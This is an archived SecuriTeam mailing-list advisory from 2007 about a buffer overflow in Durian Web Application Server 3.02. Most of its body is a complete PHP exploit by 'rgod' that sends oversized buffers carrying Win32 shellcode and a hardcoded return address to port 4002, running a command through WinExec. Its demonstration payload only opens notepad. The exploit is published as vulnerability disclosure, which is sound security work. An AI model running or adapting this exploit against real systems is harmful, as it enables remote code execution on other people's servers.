[EXPL] Durian Web Application Server Buffer Overflow (Exploit)
- From: SecuriTeam <support@xxxxxxxxxxxxxx>
- Date: 7 Jan 2007 10:53:19 +0200
The following security advisory is sent to the securiteam mailing list, and can be found at the SecuriTeam web site: http://www.securiteam.com
- - promotion
The SecuriTeam alerts list - Free, Accurate, Independent.
Get your security news from a reliable source.
http://www.securiteam.com/mailinglist.html
- - - - - - - - -
Durian Web Application Server Buffer Overflow (Exploit)
------------------------------------------------------------------------
SUMMARY
DURIAN is "a Free Delphi Web Application Server for make interactive
dynamic web documents in the Pascal server-side html-embedded scripting
language for Windows (Delphi) and Linux (Kylix)".
Buffer overflow vulnerability in Durian server allows remote code
execution.
DETAILS
Vulnerable Systems:
* Durian Web Application Server version 3.02
Exploit:
<?php
/*
Durian Web Application Server 3.02 freeware for Win32 buffer
overflow execute command exploit
by rgod
mail: retrog at alice dot it
site: http://retrogod.altervista.org
tested against xp sp2 ita
software site -> http://sourceforge.net/projects/durian/
*/
error_reporting(E_ALL);
$address = "192.168.1.3";
$service_port = "4002";
$shellcode =
"\xeb\x1b".
"\x5b".
"\x31\xc0".
"\x50".
"\x31\xc0".
"\x88\x43\x59".
"\x53".
"\xbb\x6d\x13\x86\x7c". //WinExec, 0x7c86136d
"\xff\xd3".
"\x31\xc0".
"\x50".
"\xbb\xda\xcd\x81\x7c". //ExitProcess, 0x7c81cdda
"\xff\xd3".
"\xe8\xe0\xff\xff\xff".
"\x63\x6d\x64".
"\x2e".
"\x65".
"\x78\x65".
"\x20\x2f".
"\x63\x20".
"cmd.exe /c start notepad & ";
//$eip="\x72\xe0\xf1\x00";//DEP disabled
$eip="\x72\xe0\xf2\x00";
$ch =array("\xaa","\xa0","\x41");
$size=array(30,70,150,330,520,700,1400,2300);
for ($j=0; $j<count($ch); $j++){
for ($i=0; $i<count($size); $i++){
$junk="";
if (($j==2) and ($i==7)){
$junk
="AAAABBBBCCCCDDDDEEEEFFFFGGGGHHHHIIIIJJJJKKKKLLLLMMMMNNNNOOOOPPPPQQQQRRRRSSSSTTTTUUUUVVVVXXXX";
$junk.="YYYYZZZZaaaabbbbccccddddeeeeffffgggghhhhiiiijjjjkkkkllllmmmmnnnnooooppppqqqqrrrrssssttttuuuu";
$junk.=$eip; //jmp shellcode
for ($n=1; $n<=100; $n++){
$junk.="\x90";
}
$junk.=$shellcode;
for ($n=1; $n=(2300-strlen($junk)); $n++){
$junk.="\x90";
}
}
else {
for ($k=1; $k<=$size[$i]; $k++){
$junk.=$ch[$j];
}
}
$socket = socket_create(AF_INET, SOCK_STREAM, SOL_TCP);
if ($socket < 0) {
die("socket_create() failed:\n reason: " .
socket_strerror($socket) . "\n");
}
$result = socket_connect($socket, $address, $service_port);
if ($result < 0) {
die("socket_connect() failed:\n reason: ($result) " .
socket_strerror($result) . "\n");
}
$in = $junk;
socket_write($socket, $in, strlen ($in));
socket_close($socket);
}
}
?>
ADDITIONAL INFORMATION
The information has been provided by <mailto:retrog@xxxxxxxx> rgod.
The original article can be found at: <http://retrogod.altervista.org>
http://retrogod.altervista.org
========================================
This bulletin is sent to members of the SecuriTeam mailing list.
To unsubscribe from the list, send mail with an empty subject line and body to: list-unsubscribe@xxxxxxxxxxxxxx
In order to subscribe to the mailing list, simply forward this email to: list-subscribe@xxxxxxxxxxxxxx
====================
====================
DISCLAIMER:
The information in this bulletin is provided "AS IS" without warranty of any kind.
In no event shall we be liable for any damages whatsoever including direct, indirect, incidental, consequential, loss of business profits or special damages.
- Prev by Date: [UNIX] OpenSER OSP Module Code Execution
- Next by Date: [NEWS] Kaspersky Antivirus Scan Engine PE File DoS Vulnerability
- Previous by thread: [UNIX] OpenSER OSP Module Code Execution
- Next by thread: [NEWS] Kaspersky Antivirus Scan Engine PE File DoS Vulnerability
- Index(es):
Relevant Pages
|
|
